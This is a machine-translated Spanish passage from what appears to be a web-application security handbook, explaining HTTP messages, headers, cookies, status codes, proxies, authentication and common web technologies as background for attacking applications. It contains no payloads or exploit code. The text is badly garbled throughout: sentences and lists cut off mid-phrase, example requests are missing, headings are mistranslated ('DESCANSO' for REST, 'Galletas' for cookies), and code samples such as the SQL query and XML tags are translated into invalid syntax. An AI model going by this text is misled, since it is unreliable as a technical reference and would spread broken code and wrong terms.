en Internet son 1.0 y 1.1, y la mayoría de los navegadores usan la versión 1.1 de
forma predeterminada. Existen algunas diferencias entre las especificaciones de
estas dos versiones; sin embargo, la única diferencia que probablemente encontrará
al atacar aplicaciones web es que en la versión 1.1 el encabezado de solicitud de
host es obligatorio.
Machine Translated by Google
n El encabezado Referer se utiliza para indicar la URL desde la que se originó la solicitud
(por ejemplo, porque el usuario hizo clic en un enlace de esa página).
Tenga en cuenta que este encabezado estaba mal escrito en la especificación HTTP
original y la versión mal escrita se ha conservado desde entonces.
n El encabezado User-Agent se usa para proporcionar información sobre el navegador
u otro software de cliente que generó la solicitud. Tenga en cuenta que la mayoría
de los navegadores incluyen el prefijo Mozilla por razones históricas. Esta era la
cadena de User Agent utilizada por el navegador Netscape originalmente dominante,
y otros navegadores querían afirmar a los sitios web que eran compatibles con este
estándar. Al igual que con muchas peculiaridades de la historia de la informática,
se ha establecido tanto que aún se conserva, incluso en la versión actual de Internet
Explorer, que realizó la solicitud que se muestra en el ejemplo.
n El encabezado Host especifica el nombre de host que apareció en la URL completa a
la que se accede. Esto es necesario cuando varios sitios web están alojados en el
mismo servidor, porque la URL enviada en la primera línea de la solicitud generalmente
no contiene un nombre de host. (Consulte el Capítulo 17 para obtener más información
sobre sitios web alojados virtualmente). n El encabezado de la cookie se utiliza para
enviar parámetros adicionales que el servidor ha emitido al cliente (descritos con más
detalle más adelante en este capítulo).
Respuestas HTTP
Una respuesta HTTP típica es la siguiente:
...
Machine Translated by Google
La primera línea de cada respuesta HTTP consta de tres elementos, separados por
espacios:
n Una “frase de razón” textual que describa con más detalle el estado de la respuesta. Esto
puede tener cualquier valor y los navegadores actuales no lo utilizan para ningún propósito.
n El encabezado del servidor contiene un banner que indica el software del servidor web que
se está utilizando y, a veces, otros detalles, como los módulos instalados y el sistema
operativo del servidor. La información contenida puede o no ser precisa.
n El encabezado Set-Cookie envía al navegador una cookie más; esto se vuelve a enviar en
el encabezado de la cookie de las solicitudes posteriores a este servidor. n El encabezado
n Casi todas las respuestas HTTP contienen un cuerpo de mensaje después de la línea en
blanco después de los encabezados. El encabezado Content-Type indica que el cuerpo
de este mensaje contiene un documento HTML. n El encabezado Content-Length indica
Métodos HTTP
Cuando esté atacando aplicaciones web, estará tratando casi exclusivamente
con los métodos más utilizados: GET y POST. Debe conocer algunas
diferencias importantes entre estos métodos, ya que pueden afectar la
seguridad de una aplicación si se pasan por alto.
El método GET está diseñado para recuperar recursos. Se puede utilizar para enviar
parámetros al recurso solicitado en la cadena de consulta de URL. Esto permite a los
usuarios marcar una URL para un recurso dinámico que pueden reutilizar. O bien, otros
usuarios pueden recuperar el recurso equivalente en una ocasión posterior (como en una
consulta de búsqueda marcada). Las direcciones URL se muestran en pantalla y se
registran en varios lugares, como el historial del navegador y los registros de acceso del servidor web.
También se transmiten en el encabezado Referer a otros sitios cuando son externos .
Machine Translated by Google
Se siguen los enlaces. Por estos motivos, la cadena de consulta no debe utilizarse
para transmitir información confidencial.
El método POST está diseñado para realizar acciones. Con este método, los parámetros de
solicitud se pueden enviar tanto en la cadena de consulta de URL como en el cuerpo del
mensaje. Aunque la URL todavía se puede marcar, cualquier parámetro enviado en el cuerpo
del mensaje se excluirá del marcador. Estos parámetros también se excluirán de las diversas
ubicaciones en las que se mantienen los registros de las URL y del encabezado Referer . Dado
que el método POST está diseñado para realizar acciones, si un usuario hace clic en el botón
Atrás del navegador para volver a una página a la que accedió mediante este método, el
navegador no vuelve a emitir automáticamente la solicitud. En su lugar, advierte al usuario de lo
que está a punto de hacer, como se muestra en la Figura 3-1. Esto evita que los usuarios
realicen una acción sin darse cuenta más de una vez. Por esta razón, las solicitudes POST
siempre deben usarse cuando se realiza una acción.
Figura 3-1: Los navegadores no vuelven a emitir automáticamente las solicitudes POST
realizadas por los usuarios, ya que pueden hacer que una acción se realice más de una vez
n OPTIONS le pide al servidor que informe los métodos HTTP que están disponibles para
un recurso en particular. El servidor generalmente devuelve una respuesta que contiene
un encabezado Permitir que enumera los métodos disponibles.
Existen muchos otros métodos HTTP que no son directamente relevantes para atacar
aplicaciones web. Sin embargo, un servidor web puede exponerse a un ataque si ciertos métodos
peligrosos están disponibles. Consulte el Capítulo 18 para obtener más detalles sobre estos
métodos y ejemplos de su uso en un ataque.
URL
Un localizador uniforme de recursos (URL) es un identificador único para un recurso web a través
del cual se puede recuperar ese recurso. El formato de la mayoría de las URL es el siguiente:
protocolo://nombre de host[:puerto]/[ruta/]archivo[?param=valor]
https://mdsec.net/auth/488/YourDetails.ashx?uid=129
Además de esta forma absoluta, las URL pueden especificarse en relación con un determinado
host, o relativo a una ruta particular en ese host. Por ejemplo:
/auth/488/TusDetalles.ashx?uid=129
TusDetalles.ashx?uid=129
Estas formas relativas se utilizan a menudo en páginas web para describir la navegación dentro de
el sitio web o la propia aplicación.
DESCANSO
Aunque las URL que contienen parámetros dentro de la cadena de consulta se ajustan a las
restricciones de REST, el término "URL de estilo REST" se usa a menudo para referirse a una
URL que contiene sus parámetros dentro de la ruta del archivo URL, en lugar de la cadena de
consulta. Por ejemplo, la siguiente URL que contiene una cadena de consulta:
http://wahh-app.com/search?make=ford&model=pinto
http://wahh-app.com/search/ford/pinto
Machine Translated by Google
Encabezados HTTP
HTTP admite una gran cantidad de encabezados, algunos de los cuales están diseñados para
propósitos específicos inusuales. Algunos encabezados se pueden usar tanto para solicitudes como
para respuestas, y otros son específi cos para uno de estos tipos de mensajes. Las siguientes
secciones describen los encabezados que es probable que encuentre al atacar aplicaciones web.
Encabezados generales
n La codificación de contenido especifica qué tipo de codificación se usa para el contenido del
cuerpo del mensaje, como gzip, que algunas aplicaciones usan para comprimir las respuestas
para una transmisión más rápida. n Content-Length especifica la longitud del cuerpo del
Encabezados de solicitud
n Aceptar le dice al servidor qué tipo de contenido está dispuesto a aceptar el cliente,
como tipos de imágenes, formatos de documentos de oficina, etc.
n If-Modified-Since especifica cuándo el navegador recibió por última vez el recurso solicitado. Si el
recurso no ha cambiado desde ese momento, el servidor puede indicarle al cliente que use su
copia en caché, usando una respuesta con el código de estado 304. n If-None-Match especifica
una etiqueta de entidad, que es un identificador que denota el contenido del cuerpo del mensaje. El
navegador envía la etiqueta de entidad que el servidor emitió con el recurso solicitado cuando se
recibió por última vez.
El servidor puede usar la etiqueta de entidad para determinar si el navegador puede usar su copia
en caché del recurso. n Origen se utiliza en solicitudes Ajax entre dominios para indicar el dominio
desde el que se originó la solicitud (consulte el Capítulo 13). n Referer especifica la URL desde la que
se originó la solicitud actual. n User-Agent proporciona información sobre el navegador u otro
Encabezados de respuesta
tiempo son válidos los contenidos del cuerpo del mensaje . El navegador puede usar la copia en caché
de este recurso hasta este momento.
n La ubicación se usa en las respuestas de redirección (aquellas que tienen un código de estado
comenzando con 3) para especificar el destino de la redirección.
n Pragma pasa directivas de almacenamiento en caché al navegador (por ejemplo, sin caché).
n Server proporciona información sobre el software del servidor web que se está utilizando. n
Set-Cookie emite cookies al navegador que enviará de vuelta al
servidor en solicitudes posteriores. n
WWW-Authenticate se usa en respuestas que tienen un código de estado 401 para brindar
detalles sobre los tipos de autenticación que admite el servidor. n X-Frame-Options indica si
Galletas
Las cookies son una parte clave del protocolo HTTP en el que se basan la mayoría de las
aplicaciones web . Con frecuencia se pueden utilizar como vehículo para explotar
vulnerabilidades. El mecanismo de cookies permite que el servidor envíe elementos de
datos al cliente, que el cliente almacena y vuelve a enviar al servidor. A diferencia de los
otros tipos de parámetros de solicitud (aquellos dentro de la cadena de consulta de la URL
o el cuerpo del mensaje), las cookies continúan siendo reenviadas en cada solicitud posterior
sin que la aplicación o el usuario requieran ninguna acción en particular.
Un servidor emite una cookie utilizando el encabezado de respuesta Set-Cookie ,
como ha visto:
Establecer-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc
n expire establece una fecha hasta la cual la cookie es válida. Esto hace que el navegador
guarde la cookie en un almacenamiento persistente y se reutilice en sesiones posteriores
del navegador hasta que se alcance la fecha de caducidad. Si este atributo no está
configurado, la cookie se usa solo en la sesión actual del navegador. n dominio especifica
el dominio para el que la cookie es válida. Este debe ser el mismo o uno de los principales
del dominio del que se recibe la cookie.
Cada uno de estos atributos de cookies puede afectar la seguridad de la aplicación. El impacto
principal está en la capacidad del atacante para atacar directamente a otros usuarios de la
aplicación. Consulte los Capítulos 12 y 13 para obtener más detalles.
Machine Translated by Google
Códigos de estado
Cada mensaje de respuesta HTTP debe contener un código de estado en su primera línea,
indicando el resultado de la solicitud. Los códigos de estado se dividen en cinco grupos,
según el primer dígito del código:
n 1xx : informativo.
Existen numerosos códigos de estado específi cos, muchos de los cuales se usan solo en
circunstancias especiales. Estos son los códigos de estado que es más probable que
encuentre al atacar una aplicación web, junto con la frase de motivo habitual asociada con
ellos:
n 100 Continuar se envía en algunas circunstancias cuando un cliente envía una solicitud
que contiene un cuerpo. La respuesta indica que se recibieron los encabezados de la
solicitud y que el cliente debe continuar enviando el cuerpo. El servidor devuelve una
segunda respuesta cuando se completa la solicitud. n 200 OK indica que la solicitud
fue exitosa y que la respuesta
body contiene el resultado de la solicitud.
n 201 Creado se devuelve en respuesta a una solicitud PUT para indicar que la solicitud
fue exitosa. n 301 Movido permanentemente redirige el navegador de forma
permanente a una URL diferente, que se especifica en el encabezado Ubicación . El
cliente debería usar la nueva URL en el futuro en lugar de la original. n 302 Found
redirige el navegador temporalmente a una URL diferente, que se especifica en el
encabezado Ubicación . El cliente debe volver a la URL original en solicitudes posteriores.
funcionando y puede responder a las solicitudes, la aplicación a la que se accede a través del
servidor no responde. Debe verificar si este es el resultado de alguna acción que haya
realizado.
HTTPS
El protocolo HTTP utiliza TCP simple como mecanismo de transporte, que no está cifrado y, por lo
tanto, puede ser interceptado por un atacante que esté adecuadamente posicionado en la red.
HTTPS es esencialmente el mismo protocolo de capa de aplicación que HTTP, pero se canaliza a
través del mecanismo de transporte seguro, Capa de sockets seguros (SSL). Esto protege la
privacidad y la integridad de los datos que pasan por la red, lo que reduce las posibilidades de
ataques de intercepción no invasivos. Las solicitudes y respuestas HTTP funcionan exactamente de
la misma manera, independientemente de si se utiliza SSL para el transporte.
NOTA SSL ha sido estrictamente reemplazado por la seguridad de la capa de transporte (TLS),
pero por lo general todavía se hace referencia a esta última con el nombre anterior.
Proxies HTTP
Un proxy HTTP es un servidor que media el acceso entre el navegador del cliente y el
servidor web de destino. Cuando un navegador ha sido configurado para usar un proxy
Machine Translated by Google
servidor, hace todas sus solicitudes a ese servidor. El proxy transmite las solicitudes a los servidores web
relevantes y reenvía sus respuestas al navegador.
La mayoría de los proxies también brindan servicios adicionales, incluidos el almacenamiento en caché, la
autenticación y el control de acceso.
Debe tener en cuenta dos diferencias en el funcionamiento de HTTP cuando se utiliza un servidor proxy:
n Cuando un navegador emite una solicitud HTTP sin cifrar a un servidor proxy, coloca la URL completa
en la solicitud, incluido el prefijo de protocolo http://, el nombre de host del servidor y el número de
puerto si no es estándar. El servidor proxy extrae el nombre de host y el puerto y los utiliza para dirigir
la solicitud al servidor web de destino correcto. n Cuando se usa HTTPS, el navegador no puede
realizar el protocolo de enlace SSL con el servidor proxy, porque esto rompería el túnel seguro y
dejaría las comunicaciones vulnerables a los ataques de intercepción. Por lo tanto, el navegador debe
usar el proxy como un relé de nivel TCP puro, que pasa todos los datos de la red en ambas direcciones
entre el navegador y el destino.
servidor web de ción, con el que el navegador realiza un protocolo de enlace SSL de forma normal.
Para establecer esta retransmisión, el navegador realiza una solicitud HTTP al servidor proxy utilizando
el método CONNECT y especificando el nombre de host de destino y el número de puerto como URL.
Si el proxy permite la solicitud, devuelve una respuesta HTTP con un estado 200, mantiene abierta la
conexión TCP y, a partir de ese momento, actúa como un relé de nivel TCP puro para el servidor web
de destino.
En cierta medida, el elemento más útil de su conjunto de herramientas al atacar aplicaciones web es un
tipo de servidor proxy especializado que se ubica entre su navegador y el sitio web de destino y le permite
interceptar y modificar todas las solicitudes y respuestas, incluso aquellas que usan HTTPS. Comenzaremos
a examinar cómo puede utilizar este tipo de herramienta en el próximo capítulo.
Autenticación HTTP
El protocolo HTTP incluye sus propios mecanismos para autenticar a los usuarios mediante varios esquemas
de autenticación, incluidos los siguientes:
n Digest es un mecanismo de desafío-respuesta y utiliza sumas de verificación MD5 de un nonce con las
credenciales del usuario.
Machine Translated by Google
MITO COMÚN
Debido a que la autenticación básica coloca las credenciales en forma no cifrada dentro
la solicitud HTTP, con frecuencia se afirma que el protocolo no es seguro y no debe
utilizarse. Pero la autenticación basada en formularios, tal como la utilizan numerosos
bancos, también coloca credenciales sin cifrar dentro de la solicitud HTTP.
Cualquier mensaje HTTP puede protegerse de los ataques de espionaje mediante el uso de HTTPS
como un mecanismo de transporte, lo que debe ser hecho por cada aplicación consciente
de la seguridad. En relación con las escuchas, al menos, la autenticación básica en sí misma
no es peor que los métodos utilizados por la mayoría de las aplicaciones web actuales.
Funcionalidad Web
Además del protocolo de comunicaciones central utilizado para enviar mensajes entre el
cliente y el servidor, las aplicaciones web emplean numerosas tecnologías para ofrecer
su funcionalidad. Cualquier aplicación razonablemente funcional puede emplear docenas
de tecnologías distintas dentro de sus componentes de servidor y cliente. Antes de que
pueda montar un ataque serio contra una aplicación web, necesita una comprensión
básica de cómo se implementa su funcionalidad, cómo se diseñan las tecnologías
utilizadas para comportarse y dónde es probable que se encuentren sus puntos débiles.
n En la cadena de consulta de la
Además de estas fuentes primarias de entrada, la aplicación del lado del servidor puede, en principio,
utilizar cualquier parte de la solicitud HTTP como entrada para su procesamiento. Por ejemplo, una
aplicación puede procesar el encabezado User-Agent para generar contenido optimizado para el tipo de
navegador que se utiliza.
Al igual que el software informático en general, las aplicaciones web emplean una amplia gama de
tecnologías en el lado del servidor para ofrecer su funcionalidad:
como Apache, IIS y Netscape Enterprise n Bases de datos como MS-SQL, Oracle
Todas estas tecnologías y los tipos de vulnerabilidades que pueden surgir en relación con ellas se
examinan en detalle a lo largo de este libro. Algunas de las plataformas y tecnologías de aplicaciones
web más comunes que probablemente encontrará se describen en las siguientes secciones.
MITO COMÚN
La plataforma Java
Durante muchos años, Java Platform, Enterprise Edition (anteriormente conocido como J2EE)
fue un estándar de facto para aplicaciones empresariales a gran escala. Originalmente
desarrollado por Sun Microsystems y ahora propiedad de Oracle, se presta a arquitecturas
de varios niveles y con equilibrio de carga y es muy adecuado para el desarrollo modular y la
reutilización de código. Debido a su larga historia y adopción generalizada, muchas
herramientas de desarrollo, servidores de aplicaciones y marcos de trabajo de alta calidad
están disponibles para ayudar a los desarrolladores. La plataforma Java se puede ejecutar
en varios sistemas operativos subyacentes, incluidos Windows, Linux y Solaris.
Las descripciones de las aplicaciones web basadas en Java a menudo emplean una serie de potenciales
Términos potencialmente confusos que quizás deba tener en cuenta:
Registro — Log4J
Si puede determinar qué paquetes de código abierto se utilizan en la aplicación que está atacando,
puede descargarlos y realizar una revisión del código o instalarlos para experimentar. Una
vulnerabilidad en cualquiera de estos puede explotarse para comprometer la aplicación más
amplia.
ASP.NET
ASP.NET es el marco de aplicaciones web de Microsoft y es un competidor directo de la plataforma
Java. ASP.NET es varios años más joven que su contraparte, pero ha hecho incursiones
significativas en el territorio de Java.
ASP.NET utiliza .NET Framework de Microsoft, que proporciona una máquina virtual (Common
Language Runtime) y un conjunto de potentes API. Por lo tanto, las aplicaciones ASP.NET se
pueden escribir en cualquier lenguaje .NET, como C# o VB.NET.
ASP.NET se presta al paradigma de programación basado en eventos que normalmente se
usa en el software de escritorio convencional, en lugar del enfoque basado en secuencias de
comandos que se usa en la mayoría de los marcos de aplicaciones web anteriores. Esto, junto
con las potentes herramientas de desarrollo proporcionadas con Visual Studio, hace que el
desarrollo de una aplicación web funcional sea extremadamente fácil para cualquier persona con
conocimientos mínimos de programación.
El marco ASP.NET ayuda a proteger contra algunas vulnerabilidades comunes de aplicaciones
web, como secuencias de comandos entre sitios, sin requerir ningún esfuerzo por parte del
desarrollador. Sin embargo, una desventaja práctica de su aparente simplicidad es que muchas
aplicaciones ASP.NET de pequeña escala en realidad son creadas por principiantes que no
conocen los problemas de seguridad centrales que enfrentan las aplicaciones web.
PHP
El lenguaje PHP surgió de un proyecto de pasatiempo (el acrónimo originalmente significaba
"página de inicio personal"). Desde entonces, ha evolucionado de forma casi irreconocible hasta
convertirse en un marco muy potente y rico para desarrollar aplicaciones web. A menudo se usa
junto con otras tecnologías libres en lo que se conoce como la pila LAMP (compuesta por Linux
como sistema operativo, Apache como servidor web, MySQL como servidor de base de datos y
PHP como lenguaje de programación para la aplicación web) .
Debido a que PHP es gratuito y fácil de usar, a menudo ha sido el lenguaje elegido por muchos
principiantes que escriben aplicaciones web. Además, históricamente, el diseño y la configuración
predeterminada del marco PHP han facilitado que los programadores introduzcan errores de
seguridad en su código sin saberlo. Estos factores han significado que las aplicaciones escritas
en PHP hayan sufrido un número desproporcionado de vulnerabilidades de seguridad. Además,
han existido varios defectos dentro de la propia plataforma PHP que a menudo podrían explotarse
a través de aplicaciones que se ejecutan en ella. Consulte el Capítulo 19 para obtener detalles
sobre los defectos comunes que surgen en las aplicaciones PHP.
Ruby on Rails
Rails 1.0 se lanzó en 2005, con un fuerte énfasis en la arquitectura Model-View-Controller. Una
fortaleza clave de Rails es la velocidad vertiginosa con la que se pueden crear aplicaciones
basadas en datos completamente desarrolladas. Si un desarrollador sigue el estilo de codificación
y las convenciones de nomenclatura de Rails, Rails puede generar automáticamente un modelo
para el contenido de la base de datos, las acciones del controlador para modificarlo y las vistas
predeterminadas para el usuario de la aplicación. Al igual que con cualquier nueva tecnología
altamente funcional, se han encontrado varias vulnerabilidades en Ruby on Rails, incluida la
capacidad de omitir un "modo seguro", análogo al que se encuentra en PHP.
Puede encontrar más detalles sobre vulnerabilidades recientes aquí:
www.ruby-lang.org/en/security/
sql
El lenguaje de consulta estructurado (SQL) se utiliza para acceder a datos en bases de datos
relacionales, como Oracle, servidor MS-SQL y MySQL. La gran mayoría de las aplicaciones web
actuales emplean bases de datos basadas en SQL como su almacén de datos de back-end, y casi
todas las funciones de la aplicación implican interacción con estos almacenes de datos de alguna manera.
Las bases de datos relacionales almacenan datos en tablas, cada una de las cuales contiene
varias filas y columnas. Cada columna representa un campo de datos, como "nombre" o "dirección
de correo electrónico", y cada fila representa un elemento con valores asignados a algunos o
todos estos campos.
SQL usa consultas para realizar tareas comunes como leer, agregar, actualizar y eliminar
datos. Por ejemplo, para recuperar la dirección de correo electrónico de un usuario con un nombre
específico, una aplicación podría realizar la siguiente consulta:
seleccione el correo electrónico de los usuarios donde nombre = 'daf'
Machine Translated by Google
XML
El lenguaje de marcado extensible (XML) es una especificación para codificar datos en un formato legible por
máquina. Como cualquier lenguaje de marcado, el formato XML separa un documento en contenido (que son datos)
y marcado (que anota los datos).
El marcado se representa principalmente mediante etiquetas, que pueden ser etiquetas de inicio, etiquetas de
finalización o etiquetas de elementos vacíos:
<nombre de etiqueta>
</nombre de etiqueta>
<mascota>jengibre</mascota>
<mascotas><perro>mancha</perro><gato>patas</cat></mascotas>
<versión de datos=”2.1”><mascotas>...</mascotas></datos>
Servicios web
Aunque este libro cubre la piratería de aplicaciones web, muchas de las vulnerabilidades descritas son igualmente
aplicables a los servicios web. De hecho, muchas aplicaciones son esencialmente una interfaz gráfica de usuario
para un conjunto de servicios web de back-end.
Machine Translated by Google
Los servicios web utilizan el Protocolo simple de acceso a objetos (SOAP) para intercambiar datos.
SOAP generalmente usa el protocolo HTTP para transmitir mensajes y representa
datos usando el formato XML.
Una solicitud SOAP típica es la siguiente:
En el contexto de las aplicaciones web a las que se accede mediante un navegador, lo más
probable es que la aplicación del lado del servidor utilice SOAP para comunicarse con varios sistemas
de back-end. Si los datos proporcionados por el usuario se incorporan directamente en los mensajes
SOAP de back-end, pueden surgir vulnerabilidades similares a las de SQL. Estos problemas se
describen en detalle en el Capítulo 10.
Si una aplicación web también expone servicios web directamente, estos también son
dignos de examen. Incluso si la aplicación front-end simplemente se escribe sobre el
servicio web, pueden existir diferencias en el manejo de entrada y en la funcionalidad
expuesta por los propios servicios. El servidor normalmente publica los servicios y
parámetros disponibles utilizando el formato de lenguaje de descripción de servicios web
(WSDL) . Se pueden usar herramientas como soapUI para crear solicitudes de muestra
basadas en un archivo WSDL publicado para llamar al servicio web de autenticación,
obtener un token de autenticación y realizar cualquier solicitud de servicio web posterior.
núcleo común de tecnologías. Sin embargo, estos se han desarrollado de diversas maneras, y
las formas en que las aplicaciones aprovechan la tecnología del lado del cliente han seguido
evolucionando rápidamente en los últimos años.
HTML
La tecnología central utilizada para crear interfaces web es el lenguaje de marcado de hipertexto
(HTML). Al igual que XML, HTML es un lenguaje basado en etiquetas que se utiliza para
describir la estructura de los documentos que se representan en el navegador. Desde sus
comienzos simples como un medio para proporcionar formato básico para documentos de texto,
HTML se ha convertido en un lenguaje rico y poderoso que puede usarse para crear interfaces
de usuario altamente complejas y funcionales.
XHTML es un desarrollo de HTML que se basa en XML y que tiene una especificación más
estricta que las versiones anteriores de HTML. Parte de la motivación para XHTML fue la
necesidad de avanzar hacia un estándar más rígido para el marcado HTML para evitar los
diversos compromisos y problemas de seguridad que pueden surgir cuando los navegadores
están obligados a tolerar formas menos estrictas de HTML.
Más detalles sobre HTML y tecnologías relacionadas aparecen a continuación
secciones.
hipervínculos
Una gran cantidad de comunicación entre el cliente y el servidor se realiza cuando el usuario
hace clic en los hipervínculos. En las aplicaciones web, los hipervínculos suelen contener
parámetros de solicitud preestablecidos. Estos son elementos de datos que el usuario nunca
ingresa; se envían porque el servidor los coloca en la URL de destino del hipervínculo en el que
hace clic el usuario. Por ejemplo, una aplicación web puede presentar una serie de enlaces a
noticias, cada uno con la siguiente forma:
Cuando un usuario hace clic en este enlace, el navegador realiza la siguiente solicitud:
El servidor recibe el parámetro redir en la cadena de consulta y usa su valor para determinar
qué contenido se debe presentar al usuario.
formularios
mecanismo para permitir a los usuarios ingresar entradas arbitrarias a través de su navegador.
Una forma típica es la siguiente:
</formulario>
Cuando el usuario ingresa valores en el formulario y hace clic en el botón Enviar, el navegador realiza
una solicitud como la siguiente:
nombre de usuario=daf&contraseña=foo&redir=/secure/home.php&submit=log+in
En esta solicitud, varios puntos de interés reflejan cómo se utilizan diferentes aspectos de la solicitud
para controlar el procesamiento del lado del servidor:
n Debido a que la etiqueta del formulario HTML contiene un atributo que especifica
el método POST , el navegador usa este método para enviar el formulario y
coloca los datos del formulario en el cuerpo del mensaje de solicitud.
n Además de los dos elementos de datos que ingresa el usuario, el formulario
contiene un parámetro oculto (redir) y un parámetro de envío (enviar). Ambos
se envían en la solicitud y pueden ser utilizados por la aplicación del lado del
servidor para controlar su lógica.
n La URL de destino para el envío del formulario contiene un parámetro preestablecido (aplicación),
como en el ejemplo de hipervínculo que se muestra anteriormente. Este parámetro se puede
utilizar para controlar el procesamiento del lado del servidor.
n La solicitud contiene un parámetro de cookie (SESS), que se envió al navegador en una respuesta
anterior del servidor. Este parámetro se puede utilizar para controlar el procesamiento del lado
del servidor.
La solicitud anterior contiene un encabezado que especifica que el tipo de contenido en el cuerpo del
mensaje es x-www-form-urlencoded. Esto significa que los parámetros se representan en el cuerpo del
mensaje como pares de nombre/valor de la misma manera que en la cadena de consulta de URL. El
otro tipo de contenido que probablemente encontrará cuando se envían datos de formulario es multipart/
form-data. Una aplicación puede solicitar que los navegadores utilicen codificación de varias partes
especificando esto en un atributo enctype en la etiqueta del formulario. Con esta forma de codificación,
el encabezado Content-Type en la solicitud también especifica una cadena aleatoria que se usa como
separador para el
Machine Translated by Google
------------7d71385d0a1a
Contenido-Disposición: formulario-datos; nombre=”nombre de usuario”
daf
------------7d71385d0a1a
Contenido-Disposición: formulario-datos; nombre=”contraseña”
Foo
------------7d71385d0a1a
Contenido-Disposición: formulario-datos; nombre = "redirección"
/seguro/casa.php
------------7d71385d0a1a
Contenido-Disposición: formulario-datos; nombre = "enviar"
iniciar sesión
------------7d71385d0a1a--
CSS
Las hojas de estilo en cascada (CSS) es un lenguaje utilizado para describir la presentación
de un documento escrito en un lenguaje de marcado. Dentro de las aplicaciones web, se
utiliza para especificar cómo se debe representar el contenido HTML en la pantalla (y en otros
medios, como la página impresa).
Los estándares web modernos tienen como objetivo separar tanto como sea posible el
contenido de un documento de su presentación. Esta separación tiene numerosos beneficios,
que incluyen páginas HTML más simples y pequeñas, una actualización más sencilla del
formato en un sitio web y una mejor accesibilidad.
CSS se basa en reglas de formato que se pueden definir con diferentes niveles de
especificidad. Cuando varias reglas coinciden con un elemento de documento individual, los
diferentes atributos definidos en esas reglas pueden "en cascada" a través de estas reglas
para que se aplique la combinación apropiada de atributos de estilo al elemento.
La sintaxis CSS utiliza selectores para defi nir una clase de elementos de marcado a los
que se debe aplicar un conjunto determinado de atributos. Por ejemplo, la siguiente regla
CSS defi ne el color de primer plano para los encabezados marcados con etiquetas <h2> :
h2 { color: rojo; }
Machine Translated by Google
En los primeros días de la seguridad de las aplicaciones web, CSS se pasaba por alto en gran
medida y se consideraba que no tenía implicaciones de seguridad. Hoy en día, CSS es cada vez más
relevante como fuente de vulnerabilidades de seguridad por derecho propio y como medio para ofrecer
explotaciones efectivas para otras categorías de vulnerabilidades (consulte los Capítulos 12 y 13 para
obtener más información).
JavaScript
Los hipervínculos y los formularios se pueden usar para crear una interfaz de usuario enriquecida que
pueda recopilar fácilmente la mayoría de los tipos de entrada que requieren las aplicaciones web. Sin
embargo, la mayoría de las aplicaciones emplean un modelo más distribuido, en el que el lado del
cliente se usa no solo para enviar datos y acciones del usuario, sino también para realizar el
procesamiento real de los datos. Esto se hace por dos razones principales:
JavaScript es un lenguaje de programación relativamente simple pero poderoso que se puede usar
fácilmente para extender las interfaces web de maneras que no son posibles usando solo HTML. Se
utiliza comúnmente para realizar las siguientes tareas:
n Validar los datos ingresados por el usuario antes de enviarlos al servidor para evitar solicitudes
innecesarias si los datos contienen errores.
n Modificar dinámicamente la interfaz de usuario en respuesta a las acciones del usuario, por
ejemplo, para implementar menús desplegables y otros controles familiares de las interfaces
que no son web.
n Consultar y actualizar el modelo de objeto de documento (DOM) dentro del navegador para
controlar el comportamiento del navegador (el DOM del navegador se describe en un momento)
VBScript
VBScript es una alternativa a JavaScript que solo es compatible con el navegador Internet Explorer.
Está modelado en Visual Basic y permite la interacción con el navegador DOM. Pero en general es
algo menos potente y desarrollado que JavaScript.
Debido a su naturaleza específi ca del navegador, VBScript apenas se usa en las aplicaciones web
actuales. Su principal interés desde la perspectiva de la seguridad es como un medio para aprovechar
las vulnerabilidades, como las secuencias de comandos entre sitios, en situaciones ocasionales en las
que no es factible explotar el uso de JavaScript (consulte el Capítulo 12).
Machine Translated by Google
Ajax
Ajax es una colección de técnicas de programación utilizadas en el lado del cliente para crear
interfaces de usuario que tienen como objetivo imitar la interacción fluida y el comportamiento
dinámico de las aplicaciones de escritorio tradicionales.
El nombre originalmente era un acrónimo de "JavaScript asíncrono y XML", aunque en la web
actual, las solicitudes Ajax no necesitan ser asíncronas ni emplear XML.
Las primeras aplicaciones web se basaban en páginas completas. Cada acción del usuario,
como hacer clic en un enlace o enviar un formulario, iniciaba un evento de navegación a nivel de
ventana, lo que provocaba que se cargara una nueva página desde el servidor. Este enfoque dio
como resultado una experiencia de usuario inconexa, con retrasos notables mientras se recibían
grandes respuestas del servidor y se volvía a renderizar toda la página.
Con Ajax, algunas acciones del usuario se manejan dentro del código del script del lado del
cliente y no provocan una recarga completa de la página. En su lugar, la secuencia de comandos
realiza una solicitud "en segundo plano" y, por lo general, recibe una respuesta mucho más pequeña
que se utiliza para actualizar dinámicamente solo una parte de la interfaz de usuario. Por ejemplo,
en una aplicación de compras basada en Ajax, hacer clic en el botón Agregar al carrito puede
generar una solicitud en segundo plano que actualiza el registro del lado del servidor del carrito de
compras del usuario y una respuesta ligera que actualiza la cantidad de elementos del carrito que
se muestran en la pantalla del usuario. . Prácticamente toda la página existente permanece sin
modificar dentro del navegador, proporcionando una experiencia mucho más rápida y satisfactoria para el usuario.
La tecnología central utilizada en Ajax es XMLHttpRequest. Después de cierta consolidación de
estándares, ahora es un objeto JavaScript nativo que los scripts del lado del cliente pueden usar
para realizar solicitudes "en segundo plano" sin requerir un evento de navegación a nivel de
ventana . A pesar de su nombre, XMLHttpRequest permite que se envíe contenido arbitrario en
solicitudes y se reciba en respuestas. Aunque muchas aplicaciones Ajax usan XML para dar formato
a los datos de los mensajes, un número cada vez mayor ha optado por intercambiar datos utilizando
otros métodos de representación. (Consulte la siguiente sección para ver un ejemplo).
Tenga en cuenta que aunque la mayoría de las aplicaciones Ajax utilizan comunicaciones
asíncronas con el servidor, esto no es esencial. En algunas situaciones, en realidad puede hacer
Machine Translated by Google
más sentido para evitar la interacción del usuario con la aplicación mientras se lleva a cabo una
determinada acción. En estas situaciones, Ajax sigue siendo beneficioso al brindar una experiencia
más fluida al evitar la necesidad de recargar una página completa.
Históricamente, el uso de Ajax ha introducido algunos tipos nuevos de vulnerabilidades en
las aplicaciones web. En términos más generales, también aumenta la superficie de ataque de
una aplicación típica al introducir más objetivos potenciales para ataques tanto en el servidor
como en el lado del cliente. Las técnicas Ajax también están disponibles para que las utilicen los
atacantes cuando están diseñando explotaciones más efectivas para otras vulnerabilidades.
Consulte los Capítulos 12 y 13 para obtener más detalles.
JSON
La notación de objetos de JavaScript (JSON) es un formato de transferencia de datos simple que
se puede usar para serializar datos arbitrarios. Puede ser procesado directamente por intérpretes
de JavaScript. Se emplea comúnmente en aplicaciones Ajax como una alternativa al formato
XML utilizado originalmente para la transmisión de datos. En una situación típica, cuando un
usuario realiza una acción, JavaScript del lado del cliente usa XMLHttpRequest para comunicar
